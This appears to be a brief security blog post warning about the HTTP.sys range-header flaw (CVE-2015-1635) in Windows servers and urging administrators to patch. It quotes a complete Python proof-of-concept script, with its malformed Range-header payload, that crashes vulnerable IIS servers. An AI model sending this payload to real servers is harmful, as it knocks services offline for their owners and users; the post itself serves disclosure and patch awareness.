Unlike Heartbleed and Shellshock, this vulnerability hasn’t gotten much attention.
And so far it “only” results in a denial of service by crashing unpatched servers.
The new vulnerability found (and patched) in HTTP.sys in Windows is super simple to exploit to crash a server. It affects Windows 7 SP1, Windows Server 2008 R2 SP1, Windows 8, Windows 8.1 and Windows Server 2012 Gold/R2. And it has the potential to be used to execute arbitrary code on the target server. Although no such Proof-Of-Concept has been released in public yet, who knows what’s going on in the not so public parts of the Internet?
There are however a few PoC examples released already, and one of them can be used without any modification to crash a vulnerable server.
https://www.exploit-db.com/exploits/36776/
#Tested on Win Srv 2012R2.import socket,sys if len(sys.argv)<=1: sys.exit('Give me an IP')Host = sys.argv[1]def SendPayload(Payload, Host): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((Host, 80)) s.send(Payload) s.recv(1024) s.close()#Make sure iisstart.htm exist.Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"SendPayload(Init, Host)SendPayload(Payload, Host)Upon testing the code above on a few of my test servers, they crashed immediately.
During some of the tests the servers didn’t even have time to save a crash dump.
Patch your servers!
References
https://www.exploit-db.com/exploits/36776/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635
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